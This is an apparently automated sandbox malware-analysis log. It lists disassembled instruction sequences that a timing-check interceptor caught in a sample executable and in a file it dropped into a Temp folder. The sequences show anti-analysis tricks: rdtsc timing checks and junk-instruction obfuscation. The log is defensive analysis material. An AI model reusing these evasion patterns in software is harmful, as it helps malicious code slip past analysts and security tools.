Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0169 second address: 52D0182 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0182 second address: 52D0186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0186 second address: 52D01A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D01A3 second address: 52D01CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007FA5CCB7DECDh 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D01CA second address: 52D01CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D01CE second address: 52D022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA5CCB7DED7h 0x0000000b popad 0x0000000c xchg eax, ebx 0x0000000d pushad 0x0000000e mov bh, ch 0x00000010 jmp 00007FA5CCB7DED1h 0x00000015 popad 0x00000016 mov ebx, dword ptr [ebp+10h] 0x00000019 jmp 00007FA5CCB7DECEh 0x0000001e xchg eax, esi 0x0000001f jmp 00007FA5CCB7DED0h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D022B second address: 52D022F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D022F second address: 52D0233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0233 second address: 52D0239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0239 second address: 52D0298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FA5CCB7DED6h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 jmp 00007FA5CCB7DED0h 0x00000017 xchg eax, edi 0x00000018 jmp 00007FA5CCB7DED0h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA5CCB7DECEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0298 second address: 52D02FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 movzx eax, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, edi 0x0000000d jmp 00007FA5CCB52635h 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FA5CCB52633h 0x0000001c pushfd 0x0000001d jmp 00007FA5CCB52638h 0x00000022 adc ax, 45B8h 0x00000027 jmp 00007FA5CCB5262Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D02FD second address: 52D0305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0305 second address: 52D03C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FA63E7B092Fh 0x0000000d pushad 0x0000000e push edi 0x0000000f mov edi, esi 0x00000011 pop eax 0x00000012 mov ecx, edi 0x00000014 popad 0x00000015 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001c jmp 00007FA5CCB52637h 0x00000021 je 00007FA63E7B0919h 0x00000027 jmp 00007FA5CCB52636h 0x0000002c mov edx, dword ptr [esi+44h] 0x0000002f pushad 0x00000030 pushad 0x00000031 mov ecx, 3C0BC343h 0x00000036 mov ax, 509Fh 0x0000003a popad 0x0000003b popad 0x0000003c or edx, dword ptr [ebp+0Ch] 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007FA5CCB52637h 0x00000046 sbb ah, FFFFFF9Eh 0x00000049 jmp 00007FA5CCB52639h 0x0000004e popfd 0x0000004f mov ecx, 3E08BF67h 0x00000054 popad 0x00000055 test edx, 61000000h 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FA5CCB52639h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D03C4 second address: 52D03E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 42BF5F12h 0x00000008 mov esi, edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007FA63E7DC17Dh 0x00000013 pushad 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a mov ebx, 5F56170Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D03E3 second address: 52D0422 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA5CCB5262Fh 0x00000008 or ecx, 75FC5FBEh 0x0000000e jmp 00007FA5CCB52639h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 test byte ptr [esi+48h], 00000001h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0422 second address: 52D0435 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0435 second address: 52D043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D043B second address: 52D043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D043F second address: 52D0443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0443 second address: 52D0485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FA63E7DC11Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA5CCB7DED8h 0x00000017 xor esi, 4A4BF248h 0x0000001d jmp 00007FA5CCB7DECBh 0x00000022 popfd 0x00000023 mov eax, 7FF815BFh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0862 second address: 52C0866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0866 second address: 52C0883 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0883 second address: 52C08FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA5CCB52637h 0x00000011 or si, 02FEh 0x00000016 jmp 00007FA5CCB52639h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FA5CCB52630h 0x00000022 jmp 00007FA5CCB52635h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C08FF second address: 52C0903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0903 second address: 52C0963 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA5CCB52638h 0x00000008 xor ecx, 1B978B88h 0x0000000e jmp 00007FA5CCB5262Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ch, 77h 0x00000018 popad 0x00000019 push edx 0x0000001a jmp 00007FA5CCB52630h 0x0000001f mov dword ptr [esp], esi 0x00000022 pushad 0x00000023 push ecx 0x00000024 mov edx, 0FF01200h 0x00000029 pop ebx 0x0000002a popad 0x0000002b mov esi, dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FA5CCB5262Ah 0x00000037 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0963 second address: 52C0972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0972 second address: 52C0978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0978 second address: 52C097C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C097C second address: 52C0980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0980 second address: 52C09B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA5CCB7DECAh 0x00000014 sbb al, FFFFFFA8h 0x00000017 jmp 00007FA5CCB7DECBh 0x0000001c popfd 0x0000001d mov di, cx 0x00000020 popad 0x00000021 test esi, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov ch, bl 0x00000028 mov si, 948Fh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C09B8 second address: 52C09BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C09BE second address: 52C09C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C09C2 second address: 52C0A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA63E7B7FEAh 0x0000000e jmp 00007FA5CCB52633h 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a jmp 00007FA5CCB52636h 0x0000001f mov ecx, esi 0x00000021 jmp 00007FA5CCB52630h 0x00000026 je 00007FA63E7B7FB7h 0x0000002c jmp 00007FA5CCB52630h 0x00000031 test byte ptr [76FB6968h], 00000002h 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0A34 second address: 52C0A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0A38 second address: 52C0A57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, 18A0B9C5h 0x0000000b popad 0x0000000c jne 00007FA63E7B7F98h 0x00000012 pushad 0x00000013 mov cl, 5Ch 0x00000015 mov si, di 0x00000018 popad 0x00000019 mov edx, dword ptr [ebp+0Ch] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0A57 second address: 52C0AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA5CCB7DED3h 0x0000000a add si, 7E1Eh 0x0000000f jmp 00007FA5CCB7DED9h 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 jmp 00007FA5CCB7DECEh 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA5CCB7DECEh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0AAF second address: 52C0AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB5262Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0AC1 second address: 52C0AD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, cx 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0AD3 second address: 52C0AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0AD9 second address: 52C0ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0ADD second address: 52C0B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov eax, 224E3431h 0x0000000f pushad 0x00000010 mov esi, 71088733h 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 popad 0x0000001a mov dword ptr [esp], ebx 0x0000001d jmp 00007FA5CCB52632h 0x00000022 push dword ptr [ebp+14h] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FA5CCB52637h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0B28 second address: 52C0B40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB7DED4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0BAB second address: 52C0C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FA5CCB5262Ch 0x00000012 and ch, 00000048h 0x00000015 jmp 00007FA5CCB5262Bh 0x0000001a popfd 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FA5CCB52636h 0x00000022 sub cl, FFFFFFA8h 0x00000025 jmp 00007FA5CCB5262Bh 0x0000002a popfd 0x0000002b call 00007FA5CCB52638h 0x00000030 pop eax 0x00000031 popad 0x00000032 popad 0x00000033 pop ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 movzx esi, bx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0C33 second address: 52C0C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52C0C39 second address: 52C0C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0DC0 second address: 52D0E17 instructions: 0x00000000 rdtsc 0x00000002 call 00007FA5CCB7DECCh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007FA5CCB7DECEh 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FA5CCB7DECDh 0x0000001c pushfd 0x0000001d jmp 00007FA5CCB7DED0h 0x00000022 sub ax, F7E8h 0x00000027 jmp 00007FA5CCB7DECBh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0E17 second address: 52D0E94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA5CCB5262Fh 0x00000009 xor ah, 0000002Eh 0x0000000c jmp 00007FA5CCB52639h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a call 00007FA5CCB5262Ah 0x0000001f mov eax, 790683C1h 0x00000024 pop eax 0x00000025 push edi 0x00000026 pushfd 0x00000027 jmp 00007FA5CCB5262Ah 0x0000002c adc si, AFD8h 0x00000031 jmp 00007FA5CCB5262Bh 0x00000036 popfd 0x00000037 pop esi 0x00000038 popad 0x00000039 pop ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FA5CCB52631h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0E94 second address: 52D0EA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0AD7 second address: 52D0ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0ADD second address: 52D0B7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA5CCB7DED3h 0x00000009 adc eax, 20B5619Eh 0x0000000f jmp 00007FA5CCB7DED9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FA5CCB7DED0h 0x0000001b adc cl, FFFFFF98h 0x0000001e jmp 00007FA5CCB7DECBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 mov ebx, ecx 0x0000002b push ecx 0x0000002c pushfd 0x0000002d jmp 00007FA5CCB7DED7h 0x00000032 or ax, 190Eh 0x00000037 jmp 00007FA5CCB7DED9h 0x0000003c popfd 0x0000003d pop ecx 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0B7D second address: 52D0B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52D0B81 second address: 52D0B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340B8A second address: 5340BE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007FA5CCB52635h 0x0000000f pop ecx 0x00000010 call 00007FA5CCB52631h 0x00000015 pushfd 0x00000016 jmp 00007FA5CCB52630h 0x0000001b xor eax, 1C26A628h 0x00000021 jmp 00007FA5CCB5262Bh 0x00000026 popfd 0x00000027 pop eax 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e movsx edx, ax 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340BE9 second address: 5340C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA5CCB7DECFh 0x00000009 sub cl, 0000001Eh 0x0000000c jmp 00007FA5CCB7DED9h 0x00000011 popfd 0x00000012 mov eax, 12FCADE7h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340C28 second address: 5340C2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340C2C second address: 5340C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 534098D second address: 53409A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB52634h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0359 second address: 52E0368 instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52E0368 second address: 52E036E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340E57 second address: 5340E7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0C547E2Ah 0x00000008 mov edx, 139452F6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA5CCB7DECFh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340E7D second address: 5340E81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340E81 second address: 5340E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340E87 second address: 5340EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA5CCB52632h 0x00000009 adc eax, 24647348h 0x0000000f jmp 00007FA5CCB5262Bh 0x00000014 popfd 0x00000015 jmp 00007FA5CCB52638h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push dword ptr [ebp+08h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA5CCB52637h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340EE6 second address: 5340EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 5340EEC second address: 5340EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5F150 second address: B5F156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5F156 second address: B5F15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 62EE45 second address: 62E700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007FA5CCB7DECCh 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007FA5CCB7DECEh 0x00000012 push dword ptr [ebp+122D0019h] 0x00000018 or dword ptr [ebp+122D1870h], ebx 0x0000001e call dword ptr [ebp+122D265Bh] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D1870h], esi 0x0000002b xor eax, eax 0x0000002d sub dword ptr [ebp+122D2154h], ebx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 jmp 00007FA5CCB7DED9h 0x0000003c mov dword ptr [ebp+122D33DDh], eax 0x00000042 pushad 0x00000043 xor dl, FFFFFFB5h 0x00000046 jmp 00007FA5CCB7DECCh 0x0000004b popad 0x0000004c mov esi, 0000003Ch 0x00000051 sub dword ptr [ebp+122D2154h], edx 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b jne 00007FA5CCB7DECCh 0x00000061 lodsw 0x00000063 je 00007FA5CCB7DECDh 0x00000069 jnc 00007FA5CCB7DEC7h 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 pushad 0x00000074 add dword ptr [ebp+122D2154h], eax 0x0000007a adc ch, FFFFFFBCh 0x0000007d popad 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 stc 0x00000083 nop 0x00000084 jmp 00007FA5CCB7DED3h 0x00000089 push eax 0x0000008a jng 00007FA5CCB7DED8h 0x00000090 push eax 0x00000091 push edx 0x00000092 je 00007FA5CCB7DEC6h 0x00000098 rdtsc
